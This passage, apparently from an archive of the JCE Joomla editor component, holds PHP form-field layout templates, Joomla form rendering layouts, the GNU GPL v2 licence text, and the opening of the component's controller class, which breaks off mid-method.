 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 * @var   boolean  $charcounter     Does this field support a character counter?
 * @var   string   $dataAttribute   Miscellaneous data attributes preprocessed for HTML output
 * @var   array    $dataAttributes  Miscellaneous data attribute for eg, data-*.
 */

// Initialize some field attributes.
if ($charcounter) {
    // Load the js file
    /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
    $wa = Factory::getApplication()->getDocument()->getWebAssetManager();
    $wa->useScript('short-and-sweet');

    // Set the css class to be used as the trigger
    $charcounter = ' charcount';
    // Set the text
    $counterlabel = 'data-counter-label="' . $this->escape(Text::_('JFIELD_META_DESCRIPTION_COUNTER')) . '"';
}

$attributes = [
    $columns ?: '',
    $rows ?: '',
    !empty($class) ? 'class="form-control ' . $class . $charcounter . '"' : 'class="form-control' . $charcounter . '"',
    !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '',
    strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
    $disabled ? 'disabled' : '',
    $readonly ? 'readonly' : '',
    $onchange ? 'onchange="' . $onchange . '"' : '',
    $onclick ? 'onclick="' . $onclick . '"' : '',
    $required ? 'required' : '',
    !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '',
    $autofocus ? 'autofocus' : '',
    $spellcheck ? '' : 'spellcheck="false"',
    $maxlength ?: '',
    !empty($counterlabel) ? $counterlabel : '',
    $dataAttribute,
];

// Guard against <textarea> tags inside the value
$valueSafe = preg_replace('#<(\/)?textarea>#i', '&lt;$1textarea&gt;', (string) $value);

?>
<textarea name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo implode(' ', $attributes); ?> ><?php echo $valueSafe; ?></textarea>
com_jce/layouts/form/field/fonts.php000060400000010342152455305310013532 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright 	Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 */

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$standard = '<input type="checkbox" id="%1$s" value="%3$s=%2$s" %4$s /><label for="%1$s" class="checkbox" style="font-family:%2$s">%3$s</label>';
$custom = '<div class="span4 col-md-4"><input type="text" class="form-control span12" value="%3$s" placeholder="' . Text::_('WF_LABEL_NAME') . '" /></div><div class="span7 col-md-7"><input type="text" class="form-control span12" value="%2$s" placeholder="' . Text::_('WF_LABEL_FONTS') . ', eg: arial,helvetica,sans-serif" /></div><div class=""><a href="#" class="font-item-trash btn btn-link"><i class="icon icon-trash"></i></a></div>';

// The alt option for JText::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>

<fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' checkboxes fontlist'); ?>">

	<?php foreach ($options as $i => $option): ?>
		<?php
// Initialize some option attributes.
$checked = $option->checked ? 'checked' : '';

$optionDisabled = !empty($option->disable) || $disabled ? 'disabled' : '';

$oid = $id . $i;
$value = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
$attributes = array_filter(array($checked, $optionDisabled));

$format = $standard;

if ($option->custom) {
    $format = $custom;
}
?>
        <div class="font-item row form-row  border bg-light-subtle" title="<?php echo $option->text; ?>">
            <?php echo sprintf($format, $oid, $value, $option->text, implode(' ', $attributes)); ?>
        </div>
	<?php endforeach;?>

	<div class="font-item row form-row controls controls-row  border bg-light-subtle">
        <?php echo sprintf($custom, '', '', '', ''); ?>
	</div>

	<div class="font-item row form-row  border bg-light-subtle" hidden>
        <?php echo sprintf($custom, '', '', '', ''); ?>
	</div>

	<a href="#" class="btn btn-link font-item-plus border">
		<span class="text-left"><?php echo Text::_('WF_PARAM_FONTS_NEW'); ?></span><i class="icon icon-plus"></i>
	</a>

	<input type="hidden" name="<?php echo $name; ?>" value="" />

</fieldset>
com_jce/layouts/form/field/checkboxes.php000060400000007711152455305310014525 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 */

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$format = '<input type="checkbox" id="%1$s" name="%2$s" value="%3$s" %4$s />';

// The alt option for Text::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>

<fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' checkboxes list-group'); ?>"
	<?php echo $required ? 'required aria-required="true"' : ''; ?>
	<?php echo $autofocus ? 'autofocus' : ''; ?>>

	<?php foreach ($options as $i => $option): ?>
		<?php
		// Initialize some option attributes.
		$checked = in_array((string) $option->value, $checkedOptions, true) ? 'checked' : '';

		// In case there is no stored value, use the option's default state.
		$checked        = (!$hasValue && $option->checked) ? 'checked' : $checked;
        $optionClass    = !empty($option->class) ? 'class="form-check-input ' . $option->class . '"' : ' class="form-check-input"';
        $optionDisabled = !empty($option->disable) || $disabled ? 'disabled' : '';

		// Initialize some JavaScript option attributes.
		$onclick = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : '';
		$onchange = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : '';

		$oid = $id . $i;
		$value = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
		$attributes = array_filter(array($checked, $optionClass, $optionDisabled, $onchange, $onclick));
		?>

		<div class="form-check form-check-inline">
        <?php echo sprintf($format, $oid, $name, $value, implode(' ', $attributes)); ?>
            <label for="<?php echo $oid; ?>" class="checkbox form-check-label">
                <?php echo $option->text; ?>
            </label>
        </div>
	<?php endforeach;?>

	<input type="hidden" name="<?php echo $name; ?>" value="" />
</fieldset>com_jce/layouts/form/field/blockformats.php000060400000006566152455305310015104 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 */

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$format = '<input type="checkbox" id="%1$s" value="%3$s" name="%2$s" %5$s /><label for="%1$s" class="checkbox blockformat-%3$s">%4$s</label>';

// The alt option for JText::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>

<fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' checkboxes blockformats'); ?>">

	<?php foreach ($options as $i => $option): ?>
		<?php
// Initialize some option attributes.
$checked = in_array((string) $option->value, $checkedOptions, true) ? 'checked' : '';

// In case there is no stored value, use the option's default state.
$checked = (!$hasValue && $option->checked) ? 'checked' : $checked;
$optionDisabled = !empty($option->disable) || $disabled ? 'disabled' : '';

$oid = $id . $i;
$value = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
$attributes = array_filter(array($checked, $optionDisabled));
?>
        <div class="blockformat-item border bg-light-subtle" title="<?php echo $option->text; ?>">
            <?php echo sprintf($format, $oid, $name, $value, $option->text, implode(' ', $attributes)); ?>
        </div>
	<?php endforeach;?>

</fieldset>
com_jce/layouts/joomla/content/options_default.php000060400000003513152455305310016507 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>

<fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : 'form-horizontal'; ?>">
	<legend><?php echo $displayData->name; ?></legend>
	<?php if (!empty($displayData->description)): ?>
		<p><?php echo $displayData->description; ?></p>
	<?php endif;?>
	<?php $fieldsnames = explode(',', $displayData->fieldsname);?>
	<?php foreach ($fieldsnames as $fieldname): ?>
		<?php foreach ($displayData->form->getFieldset($fieldname) as $field): ?>
			<?php $datashowon = '';?>
			<?php $groupClass = $field->type === 'Spacer' ? ' field-spacer' : '';?>
			<?php if ($field->showon): ?>
				<?php HTMLHelper::_('jquery.framework');?>
				<?php HTMLHelper::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true));?>
				<?php $datashowon = ' data-showon=\'' . json_encode(FormHelper::parseShowOnConditions($field->showon, $field->formControl, $field->group)) . '\'';?>
			<?php endif;?>
			<div class="control-group<?php echo $groupClass; ?>"<?php echo $datashowon; ?>>
				<?php if (!isset($displayData->showlabel) || $displayData->showlabel): ?>
					<div class="control-label"><?php echo $field->label; ?></div>
				<?php endif;?>
				<div class="controls"><?php echo $field->input; ?></div>
				<?php if ($field->description): ?>
					<small class="description"><?php echo Text::_($field->description); ?></small>
				<?php endif;?>
			</div>
		<?php endforeach;?>
	<?php endforeach;?>
</fieldset>
com_jce/layouts/joomla/form/renderlabel.php000060400000002545152455305310015064 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * ---------------------
 *     $text         : (string)  The label text
 *     $description  : (string)  An optional description to use in a tooltip
 *     $for          : (string)  The id of the input this label is for
 *     $required     : (boolean) True if a required field
 *     $classes      : (array)   A list of classes
 *     $position     : (string)  The tooltip position. Bottom for alias
 */

$classes = array_filter((array) $classes);

$id = $for . '-lbl';
$title = '';

if (!empty($description)) {
    if ($text && $text !== $description) {
        $classes[] = 'hasPopover';
        $title = ' title="' . htmlspecialchars(trim($text, ':')) . '"' . ' data-content="' . htmlspecialchars($description) . '"';
    }
}

?>
<label id="<?php echo $id; ?>" for="<?php echo $for; ?>"<?php if (!empty($classes)) {
    echo ' class="' . implode(' ', $classes) . '"';
}
?><?php echo $title; ?>>
	<?php echo $text; ?><?php if ($required): ?><span class="star">&#160;*</span><?php endif;?>
</label>
com_jce/layouts/joomla/form/renderfield.php000060400000002764152455305310015073 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * ---------------------
 *     $options         : (array)  Optional parameters
 *     $label           : (string) The html code for the label (not required if $options['hiddenLabel'] is true)
 *     $input           : (string) The input field html code
 */

if (!empty($options['showonEnabled'])) {
    // joomla 3
    HTMLHelper::_('jquery.framework');
    HTMLHelper::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true));
    // joomla 4
    HTMLHelper::_('script', 'jui/showon.js', array('version' => 'auto', 'relative' => true));
}

$class = empty($options['class']) ? '' : ' ' . $options['class'];
$rel = empty($options['rel']) ? '' : ' ' . $options['rel'];
?>
<div class="control-group<?php echo $class; ?>"<?php echo $rel; ?>>
	<?php if (empty($options['hiddenLabel'])): ?>
		<div class="control-label"><?php echo $label; ?></div>
	<?php endif;?>
	<div class="controls"><?php echo $input; ?></div>
	<?php if (!empty($options['description'])): ?>
		<small class="description"><?php echo Text::_($options['description']); ?></small>
	<?php endif;?>
</div>com_jce/LICENSE.txt000060400000043254152455305310007775 0ustar00                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
com_jce/controller.php000060400000010321152455305310011033 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 3 - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
// no direct access
\defined('_JEXEC') or die;

use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * JCE Component Controller.
 *
 * @since 1.5
 */
class JceController extends BaseController
{
    /**
     * @var string The extension for which the categories apply
     *
     * @since  1.6
     */
    protected $extension;

    /**
     * Constructor.
     *
     * @param array $config An optional associative array of configuration settings
     *
     * @see     JController
     * @since   1.5
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        // Guess the JText message prefix. Defaults to the option.
        if (empty($this->extension)) {
            $this->extension = $this->input->get('extension', 'com_jce');
        }
    }

    /**
     * Method to display a view.
     *
     * @param bool  $cachable  If true, the view output will be cached
     * @param array $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}
     *
     * @return JController This object to support chaining
     *
     * @since   1.5
     */
    public function display($cachable = false, $urlparams = false)
    {
        // Get the document object.
        $document = Factory::getDocument();
        $app = Factory::getApplication();
        $user = Factory::getUser();

        Factory::getLanguage()->load('com_jce', JPATH_ADMINISTRATOR);

        // Set the default view name and format from the Request.
        $vName = $app->input->get('view', 'cpanel');
        $vFormat = $document->getType();
        $lName = $app->input->get('layout', 'default');

        // legacy front-end popup view
        if ($vName === "popup") {
            // add a view path
            $this->addViewPath(JPATH_SITE . '/components/com_jce/views');
            $view = $this->getView($vName, $vFormat);

            if ($view) {
                $view->display();
            }

            return $this;
        }

